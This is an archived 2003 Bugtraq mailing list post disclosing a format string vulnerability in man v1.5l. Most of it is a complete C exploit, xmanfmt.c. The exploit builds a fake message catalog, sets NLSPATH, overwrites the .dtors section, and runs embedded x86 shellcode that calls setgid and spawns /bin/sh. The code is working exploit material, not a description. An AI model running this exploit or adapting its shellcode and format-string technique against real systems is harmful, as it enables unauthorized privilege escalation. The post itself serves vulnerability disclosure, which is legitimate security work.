----- Original Message -----
From: "Vade 79" <v9@fakehalo.deadpig.org>
To: <bugtraq@securityfocus.com>
Sent: Tuesday, June 03, 2003 5:40 AM
Subject: man[v1.5l]: (catalog) format strings exploit / POC.
>
>
> was looking at the source code to man, and came upon this. newer (g)
> libc's will stop this from happening. but, still worth noting/effective
> bypass with older (g)libc's (explained in exploit header)
>
> Vade79 -> fakehalo.deadpig.org -> fakehalo.
>
> -- xmanfmt.c: start --
>
> /* (linux)man[v1.5l]: format string exploit. *
> * *
> * by: v9@fakehalo.deadpig.org / fakehalo. *
> * *
> * man v1.5l, and below, contain a format s- *
> * tring vulnerability. the vulnerability *
> * occurs when man uses an optional catalog *
> * file, supplied by the NLSPATH/LANG envir- *
> * onmental variables. *
> * *
> * this exploit takes advantage of this vul- *
> * nerability by making a fake catalog. the *
> * n, changing the 8th catget, which is "Wh- *
> * at manual page do you want?", to "8 %.0d- *
> * &hn%.0d&hn". (0=filled in correctly :)) *
> * *
> * since the environment is the closest user *
> * supplied data reached popping, the explo- *
> * it works like so: *
> * *
> * format bug itself: "8 %.0d&hn%.0d&hn", *
> * ENVVAR=<dtors+2><dtors><nops><shellcode>. *
> * so, the numbers used to write the address *
> * are found in the environment, making the *
> * environment needing to be well aligned. *
> * *
> * the bug itself is located here: *
> * gripes.c:89:vfprintf(stderr,getmsg(n),p); *
> * (getmsg() returns data from the catalog) *
> * *
> * successful exploitation will look like: *
> * 000...000000000000000001074078752sh-2.04# *
> * *
> * note: recent glibc versions unsetenv() *
> * NLSPATH, along with other environmental *
> * variables, when running set*id programs. *
> * so, this exploit is limited in that rega- *
> * rd. this is just a proof of concept any- *
> * ways. *
> *********************************************/
>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <pwd.h>
>
> #define PATH "/usr/bin/man" /* man binary. */
> #define NOP_AMT 4096 /* number of NOPs. */
> #define LANG_NAME "xx" /* "en", "fr", ... */
>
> static char x86_exec[]= /* with setgid(15); */
> "\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
> "\x0f\xcd\x80\x89\x76\x08\x31\xc0\x88\x46"
> "\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
> "\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
> "\x40\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62"
> "\x69\x6e\x2f\x73\x68\x01";
>
> struct platform {
> unsigned short align;
> unsigned int pops;
> unsigned long dtors_addr;
> unsigned long ret_addr;
> char *exec;
> };
>
> struct platform target[2] =
> {
> {
> /* alignment. */
> 0,
> /* pops, example provided below. */
> 88,
> /* objdump -sj.dtors /usr/bin/man */
> (0x805122c+4),
> /* generalized number, room to work. */
> 0xbffffe01,
> /* shellcode, with setgid(15) */
> x86_exec
> },
> { 0, 0, 0, 0, NULL }
> };
>
> char *setfmt(unsigned int);
> char *setfmtmem(unsigned int);
> char *setlang(unsigned int);
> void printe(char *);
>
> int main(int argc,char **argv){
> extern char **environ;
>
> if(argc<2){
> printf("(*)man[v1.5l]: format string exploit.\n"
> "(*)by: v9@fakehalo.deadpig.org / fakehalo.\n\n"
> "syntax: %s <platform>\n"
> " 0 : Compiled RH/linux 2.4.2-2.\n",argv[0]);
> exit(1);
> }
> if(atoi(argv[1])>0)
> printe("main(): invalid platform number");
>
> /* reset environment to ensure addresses */
> /* are aligned. as the pointer used is */
> /* going to be aligned in the environment. */
> bzero((void *)&environ,sizeof(environ));
> if(!(environ=(char **)malloc(3*(sizeof(char *)))))
> printe("main(): allocation of memory error");
>
> /* X<alignment>=<addr+2><addr><nops><shellcode> */
> environ[0]=setfmtmem(atoi(argv[1]));
>
> /* NLSPATH=/path/to/lang. */
> environ[1]=setlang(atoi(argv[1]));
> environ[2]=0x0;
>
> if(execlp(PATH,PATH,0))
> printe("main(): failed to execute man");
>
> exit(0);
> }
> /* makes buffer: "8 %0d$hn%0d$hn" */
> char *setfmt(unsigned int pf){
> unsigned int addrl,addrh;
> unsigned int pops=target[pf].pops;
> unsigned long addr=target[pf].ret_addr;
> char *buf;
>
> addrh=(addr&0xffff0000)>>16;
> addrl=(addr&0x0000ffff);
>
> if(!(buf=(char *)malloc(64+1)))
> printe("setfmt(): allocating memory failed");
> bzero(buf,(64+1));
>
> if(addrh<addrl)
> sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn",
> (addrh-1),pops,(addrl-addrh),(pops+1));
> else
> sprintf(buf,"8 %%.%dd%%%d$hn%%.%dd%%%d$hn",
> (addrl-1),(pops+1),(addrh-addrl),pops);
>
> /* example of how to find amount of pops. */
> /* run the exploit with this return(), */
> /* adding "%x"'s, until you see your data. */
> /* return("8 "
> "%x %x %x %x %x %x %x %x %x %x" // 10
> "%x %x %x %x %x %x %x %x %x %x" // 20
> "%x %x %x %x %x %x %x %x %x %x" // 30
> "%x %x %x %x %x %x %x %x %x %x" // 40
> "%x %x %x %x %x %x %x %x %x %x" // 50
> "%x %x %x %x %x %x %x %x %x %x" // 60
> "%x %x %x %x %x %x %x %x %x %x" // 70
> "%x %x %x %x %x %x %x %x %x %x" // 80
> "%x %x %x %x %x %x %x %x" // 8+80=88. (my box)
> "\n"); */
>
> return(buf);
> }
> /* makes buffer: <addr+2><addr><nops><shellcode> */
> char *setfmtmem(unsigned int pf){
> unsigned short align=target[pf].align;
> unsigned long dtors=target[pf].dtors_addr;
> char filler[][4]={"","X","XX","XXX"};
> char taddr[3];
> char *buf;
> char *exec=target[pf].exec;
>
> taddr[0]=(dtors&0xff000000)>>24;
> taddr[1]=(dtors&0x00ff0000)>>16;
> taddr[2]=(dtors&0x0000ff00)>>8;
> taddr[3]=(dtors&0x000000ff);
>
> if(!(buf=(char *)malloc(strlen(exec)+align+
> NOP_AMT+11)))
> printe("getfmtmem(): allocating memory failed");
>
> bzero(buf,(strlen(exec)+align+NOP_AMT+11));
> sprintf(buf,"X%s=%c%c%c%c%c%c%c%c",
> filler[align],
> taddr[3]+2,taddr[2],taddr[1],taddr[0],
> taddr[3],taddr[2],taddr[1],taddr[0]);
>
> memset(buf+(10+align),0x90,NOP_AMT);
> memcpy(buf+((10+align+NOP_AMT)-strlen(exec)),
> exec,strlen(exec));
>
> return(buf);
> }
> char *setlang(unsigned int pf){
> char *langfile;
> char *langsrc;
> char *execbuf;
> char *envbuf;
> struct passwd *pwd;
> FILE *fs;
>
> if(!(pwd=getpwuid(getuid())))
> printe("passwd entry doesn't appear to exist");
> else{
> if(strlen(pwd->pw_dir)){
> if(!(langfile=(char *)malloc(strlen((char *)
> pwd->pw_dir)+strlen(LANG_NAME)+7)))
> printe("setlang(): allocating memory failed");
> sprintf(langfile,"%s/mess.%s",(char *)pwd->pw_dir,
> LANG_NAME);
> }
> else
> printe("passwd entry lookup failure");
> }
> if(!(langsrc=(char *)malloc(strlen(langfile)+5)))
> printe("setlang(): allocating memory failed");
>
> sprintf(langsrc,"%s.src",langfile);
>
> if(!(fs=fopen(langsrc,"w")))
> printe("setlang(): failed to write to cat file.");
> fs=fopen(langsrc,"w");
> fprintf(fs,"%s\n",setfmt(pf));
> fclose(fs);
>
> if(!(execbuf=(char *)malloc(strlen(langfile)+
> strlen(langsrc)+9)))
> printe("setlang(): allocating memory failed");
> sprintf(execbuf,"gencat %s %s",langfile,langsrc);
>
> unlink(langfile);
> system(execbuf);
>
> if(!(envbuf=(char *)malloc(strlen(langfile)+9)))
> printe("setlang(): allocating memory failed");
> sprintf(envbuf,"NLSPATH=%s",langfile);
>
> free(langfile);
> free(langsrc);
> free(execbuf);
>
> return(envbuf);
> }
> void printe(char *err){
> fprintf(stderr,"error: %s.\n",err);
> exit(0);
> }
>
> -- xmanfmt.c: end --
>
>
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH